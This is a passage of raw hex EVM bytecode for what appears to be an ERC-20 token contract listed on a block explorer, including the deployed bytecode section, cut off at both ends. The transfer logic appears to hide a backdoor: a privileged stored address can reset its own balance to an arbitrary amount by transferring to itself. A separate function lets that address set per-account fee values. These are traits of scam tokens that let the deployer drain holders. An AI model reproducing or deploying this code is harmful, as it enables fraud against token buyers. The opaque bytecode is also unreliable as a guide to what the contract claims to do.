104565b8015610bd55780601f10610baa57610100808354040283529160200191610bd5565b820191906000526020600020905b815481529060010190602001808311610bb857829003601f168201915b5050505050905090565b600080821480610bfb57506000606483610bf99190612164565b145b610c06576000610c09565b60015b90508015610c565781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cd1600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc057600383610cbb9190612198565b610cc2565b825b8361181590919063ffffffff16565b50505050565b60086020528060005260406000206000915090505481565b6000610d03610cfc610edc565b84846110ad565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc3610e5e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e299061223e565b60405180910390fd5b610e3b81611751565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b610e66610edc565b73ffffffffffffffffffffffffffffffffffffffff16610e84610b24565b73ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed1906122aa565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a9061233c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb9906123ce565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a09190611ef2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361111d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111490612460565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906124f2565b60405180910390fd5b600b60149054906101000a900460ff16156111b3576111ac84848461182b565b90506116f5565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146111ef57600061124f565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461124b57600061124e565b60015b5b905080156112d05761126a83846119fe90919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156113375750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134e5761134d61134830610ac7565b611a14565b5b60006113a284600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181590919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114895750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115f05760006114b760646114a9600088611c7c90919063ffffffff16565b611c9290919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115175761151485826119fe90919063ffffffff16565b90505b60008111156115dc5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461156f9190612198565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d39190611ef2565b60405180910390a35b80856115e89190612164565b9150506115f4565b8390505b61164681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e69190611ef2565b60405180910390a36001925050505b9392505050565b6000838311158290611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b9190611d38565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836118239190612164565b905092915050565b60006118b6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fe90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119eb9190611ef2565b60405180910390a3600190509392505050565b60008183611a0c9190612198565b905092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a4c57611a4b612512565b5b604051908082528060200260200182016040528015611a7a5781602001602082028036833780820191505090505b5090503081600081518110611a9257611a91612541565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5d919061207f565b81600181518110611b7157611b70612541565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611c31959493929190612669565b600060405180830381600087803b158015611c4b57600080fd5b505af1925050508015611c5c575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b60008183611c8a91906126c3565b905092915050565b60008183611ca09190612734565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ce2578082015181840152602081019050611cc7565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d0a82611ca8565b611d148185611cb3565b9350611d24818560208601611cc4565b611d2d81611cee565b840191505092915050565b60006020820190508181036000830152611d528184611cff565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8a82611d5f565b9050919050565b611d9a81611d7f565b8114611da557600080fd5b50565b600081359050611db781611d91565b92915050565b6000819050919050565b611dd081611dbd565b8114611ddb57600080fd5b50565b600081359050611ded81611dc7565b92915050565b60008060408385031215611e0a57611e09611d5a565b5b6000611e1885828601611da8565b9250506020611e2985828601611dde565b9150509250929050565b60008115159050919050565b611e4881611e33565b82525050565b6000602082019050611e636000830184611e3f565b92915050565b6000819050919050565b6000611e8e611e89611e8484611d5f565b611e69565b611d5f565b9050919050565b6000611ea082611e73565b9050919050565b6000611eb282611e95565b9050919050565b611ec281611ea7565b82525050565b6000602082019050611edd6000830184611eb9565b92915050565b611eec81611dbd565b82525050565b6000602082019050611f076000830184611ee3565b92915050565b600080600060608486031215611f2657611f25611d5a565b5b6000611f3486828701611da8565b9350506020611f4586828701611da8565b9250506040611f5686828701611dde565b9150509250925092565b611f6981611d7f565b82525050565b6000602082019050611f846000830184611f60565b92915050565b600060ff82169050919050565b611fa081611f8a565b82525050565b6000602082019050611fbb6000830184611f97565b92915050565b600060208284031215611fd757611fd6611d5a565b5b6000611fe584828501611da8565b91505092915050565b6000611ff982611d5f565b9050919050565b61200981611fee565b82525050565b60006020820190506120246000830184612000565b92915050565b6000806040838503121561204157612040611d5a565b5b600061204f85828601611da8565b925050602061206085828601611da8565b9150509250929050565b60008151905061207981611d91565b92915050565b60006020828403121561209557612094611d5a565b5b60006120a38482850161206a565b91505092915050565b60006040820190506120c16000830185611f60565b6120ce6020830184611f60565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061211c57607f821691505b60208210810361212f5761212e6120d5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061216f82611dbd565b915061217a83611dbd565b925082820390508181111561219257612191612135565b5b92915050565b60006121a382611dbd565b91506121ae83611dbd565b92508282019050808211156121c6576121c5612135565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612228602683611cb3565b9150612233826121cc565b604082019050919050565b600060208201905081810360008301526122578161221b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612294602083611cb3565b915061229f8261225e565b602082019050919050565b600060208201905081810360008301526122c381612287565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612326602483611cb3565b9150612331826122ca565b604082019050919050565b6000602082019050818103600083015261235581612319565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123b8602283611cb3565b91506123c38261235c565b604082019050919050565b600060208201905081810360008301526123e7816123ab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061244a602583611cb3565b9150612455826123ee565b604082019050919050565b600060208201905081810360008301526124798161243d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006124dc602383611cb3565b91506124e782612480565b604082019050919050565b6000602082019050818103600083015261250b816124cf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061259561259061258b84612570565b611e69565b611dbd565b9050919050565b6125a58161257a565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6125e081611d7f565b82525050565b60006125f283836125d7565b60208301905092915050565b6000602082019050919050565b6000612616826125ab565b61262081856125b6565b935061262b836125c7565b8060005b8381101561265c57815161264388826125e6565b975061264e836125fe565b92505060018101905061262f565b5085935050505092915050565b600060a08201905061267e6000830188611ee3565b61268b602083018761259c565b818103604083015261269d818661260b565b90506126ac6060830185611f60565b6126b96080830184611ee3565b9695505050505050565b60006126ce82611dbd565b91506126d983611dbd565b92508282026126e781611dbd565b915082820484148315176126fe576126fd612135565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061273f82611dbd565b915061274a83611dbd565b92508261275a57612759612705565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b0a821ebe2592e0e0f9686a861e4176d676eae3ce80eb73ae0638aeab1519cd064736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab578063a0b745bb1161006f578063a0b745bb14610413578063a9059cbb14610450578063c816841b1461048d578063dd62ed3e146104b8578063f2fde38b146104f5578063fb3ddf851461051e57610140565b806370a0823114610340578063715018a61461037d5780638da5cb5b1461039457806395d89b41146103bf5780639fb79737146103ea57610140565b806323b872dd116100fd57806323b872dd1461021a57806327c8f83514610257578063313ce567146102825780633345611e146102ad5780634a74bb02146102ea5780636ea3fbdd1461031557610140565b806301339c211461014557806306fdde031461015c578063095ea7b3146101875780631694505e146101c457806318160ddd146101ef57610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61055b565b005b34801561016857600080fd5b50610171610879565b60405161017e9190611d38565b60405180910390f35b34801561019357600080fd5b506101ae60048036038101906101a99190611df3565b61090b565b6040516101bb9190611e4e565b60405180910390f35b3480156101d057600080fd5b506101d9610929565b6040516101e69190611ec8565b60405180910390f35b3480156101fb57600080fd5b5061020461094f565b6040516102119190611ef2565b60405180910390f35b34801561022657600080fd5b50610241600480360381019061023c9190611f0d565b610959565b60405161024e9190611e4e565b60405180910390f35b34801561026357600080fd5b5061026c610a33565b6040516102799190611f6f565b60405180910390f35b34801561028e57600080fd5b50610297610a57565b6040516102a49190611fa6565b60405180910390f35b3480156102b957600080fd5b506102d460048036038101906102cf9190611fc1565b610a6e565b6040516102e19190611e4e565b60405180910390f35b3480156102f657600080fd5b506102ff610a8e565b60405161030c9190611e4e565b60405180910390f35b34801561032157600080fd5b5061032a610aa1565b604051610337919061200f565b60405180910390f35b34801561034c57600080fd5b5061036760048036038101906103629190611fc1565b610ac7565b6040516103749190611ef2565b60405180910390f35b34801561038957600080fd5b50610392610b10565b005b3480156103a057600080fd5b506103a9610b24565b6040516103b69190611f6f565b60405180910390f35b3480156103cb57600080fd5b506103d4610b4d565b6040516103e19190611d38565b60405180910390f35b3480156103f657600080fd5b50610411600480360381019061040c9190611df3565b610bdf565b005b34801561041f57600080fd5b5061043a60048036038101906104359190611fc1565b610cd7565b6040516104479190611ef2565b60405180910390f35b34801561045c57600080fd5b5061047760048036038101906104729190611df3565b610cef565b6040516104849190611e4e565b60405180910390f35b34801561049957600080fd5b506104a2610d0e565b6040516104af9190611f6f565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da919061202a565b610d34565b6040516104ec9190611ef2565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611fc1565b610dbb565b005b34801561052a57600080fd5b5061054560048036038101906105409190611fc1565b610e3e565b6040516105529190611e4e565b60405180910390f35b610563610e5e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105eb919061207f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610676919061207f565b6040518363ffffffff1660e01b81526004016106939291906120ac565b6020604051808303816000875af11580156106b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d6919061207f565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60606001805461088890612104565b80601f01602080910402602001604051908101604052809291908181526020018280546108b490612104565b80156109015780601f106108d657610100808354040283529160200191610901565b820191906000526020600020905b8154815290600101906020018083116108e457829003601f168201915b5050505050905090565b600061091f610918610edc565b8484610ee4565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109668484846110ad565b50610a2884610973610edc565b610a238560405180606001604052806028815260200161276660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109d9610edc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fc9092919063ffffffff16565b610ee4565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b18610e5e565b610b226000611751565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610b5c90612104565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8890612104565b8015610bd55780601f10610baa57610100808354040283529160200191610bd5565b820191906000526020600020905b815481529060010190602001808311610bb857829003601f168201915b5050505050905090565b600080821480610bfb57506000606483610bf99190612164565b145b610c06576000610c09565b60015b90508015610c565781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610cd1600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610cc057600383610cbb9190612198565b610cc2565b825b8361181590919063ffffffff16565b50505050565b60086020528060005260406000206000915090505481565b6000610d03610cfc610edc565b84846110ad565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc3610e5e565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e299061223e565b60405180910390fd5b610e3b81611751565b50565b60076020528060005260406000206000915054906101000a900460ff1681565b610e66610edc565b73ffffffffffffffffffffffffffffffffffffffff16610e84610b24565b73ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed1906122aa565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4a9061233c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb9906123ce565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110a09190611ef2565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361111d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111490612460565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906124f2565b60405180910390fd5b600b60149054906101000a900460ff16156111b3576111ac84848461182b565b90506116f5565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146111ef57600061124f565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461124b57600061124e565b60015b5b905080156112d05761126a83846119fe90919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156113375750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134e5761134d61134830610ac7565b611a14565b5b60006113a284600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181590919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156114895750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115f05760006114b760646114a9600088611c7c90919063ffffffff16565b611c9290919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115175761151485826119fe90919063ffffffff16565b90505b60008111156115dc5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461156f9190612198565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115d39190611ef2565b60405180910390a35b80856115e89190612164565b9150506115f4565b8390505b61164681600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fe90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e69190611ef2565b60405180910390a36001925050505b9392505050565b6000838311158290611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b9190611d38565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836118239190612164565b905092915050565b60006118b6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fc9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061194b82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119fe90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516119eb9190611ef2565b60405180910390a3600190509392505050565b60008183611a0c9190612198565b905092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611a4c57611a4b612512565b5b604051908082528060200260200182016040528015611a7a5781602001602082028036833780820191505090505b5090503081600081518110611a9257611a91612541565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5d919061207f565b81600181518110611b7157611b70612541565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611c31959493929190612669565b600060405180830381600087803b158015611c4b57600080fd5b505af1925050508015611c5c575060015b50506000600b60146101000a81548160ff02191690831515021790555050565b60008183611c8a91906126c3565b905092915050565b60008183611ca09190612734565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ce2578082015181840152602081019050611cc7565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d0a82611ca8565b611d148185611cb3565b9350611d24818560208601611cc4565b611d2d81611cee565b840191505092915050565b60006020820190508181036000830152611d528184611cff565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8a82611d5f565b9050919050565b611d9a81611d7f565b8114611da557600080fd5b50565b600081359050611db781611d91565b92915050565b6000819050919050565b611dd081611dbd565b8114611ddb57600080fd5b50565b600081359050611ded81611dc7565b92915050565b60008060408385031215611e0a57611e09611d5a565b5b6000611e1885828601611da8565b9250506020611e2985828601611dde565b9150509250929050565b60008115159050919050565b611e4881611e33565b82525050565b6000602082019050611e636000830184611e3f565b92915050565b6000819050919050565b6000611e8e611e89611e8484611d5f565b611e69565b611d5f565b9050919050565b6000611ea082611e73565b9050919050565b6000611eb282611e95565b9050919050565b611ec281611ea7565b82525050565b6000602082019050611edd6000830184611eb9565b92915050565b611eec81611dbd565b82525050565b6000602082019050611f076000830184611ee3565b92915050565b600080600060608486031215611f2657611f25611d5a565b5b6000611f3486828701611da8565b9350506020611f4586828701611da8565b9250506040611f5686828701611dde565b9150509250925092565b611f6981611d7f565b82525050565b6000602082019050611f846000830184611f60565b92915050565b600060ff82169050919050565b611fa081611f8a565b82525050565b6000602082019050611fbb6000830184611f97565b92915050565b600060208284031215611fd757611fd6611d5a565b5b6000611fe584828501611da8565b91505092915050565b6000611ff982611d5f565b9050919050565b61200981611fee565b82525050565b60006020820190506120246000830184612000565b92915050565b6000806040838503121561204157612040611d5a565b5b600061204f85828601611da8565b925050602061206085828601611da8565b9150509250929050565b60008151905061207981611d91565b92915050565b60006020828403121561209557612094611d5a565b5b60006120a38482850161206a565b91505092915050565b60006040820190506120c16000830185611f60565b6120ce6020830184611f60565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061211c57607f821691505b60208210810361212f5761212e6120d5565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061216f82611dbd565b915061217a83611dbd565b925082820390508181111561219257612191612135565b5b92915050565b60006121a382611dbd565b91506121ae83611dbd565b92508282019050808211156121c6576121c5612135565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612228602683611cb3565b9150612233826121cc565b604082019050919050565b600060208201905081810360008301526122578161221b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612294602083611cb3565b915061229f8261225e565b602082019050919050565b600060208201905081810360008301526122c381612287565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612326602483611cb3565b9150612331826122ca565b604082019050919050565b6000602082019050818103600083015261235581612319565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006123b8602283611cb3565b91506123c38261235c565b604082019050919050565b600060208201905081810360008301526123e7816123ab565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061244a602583611cb3565b9150612455826123ee565b60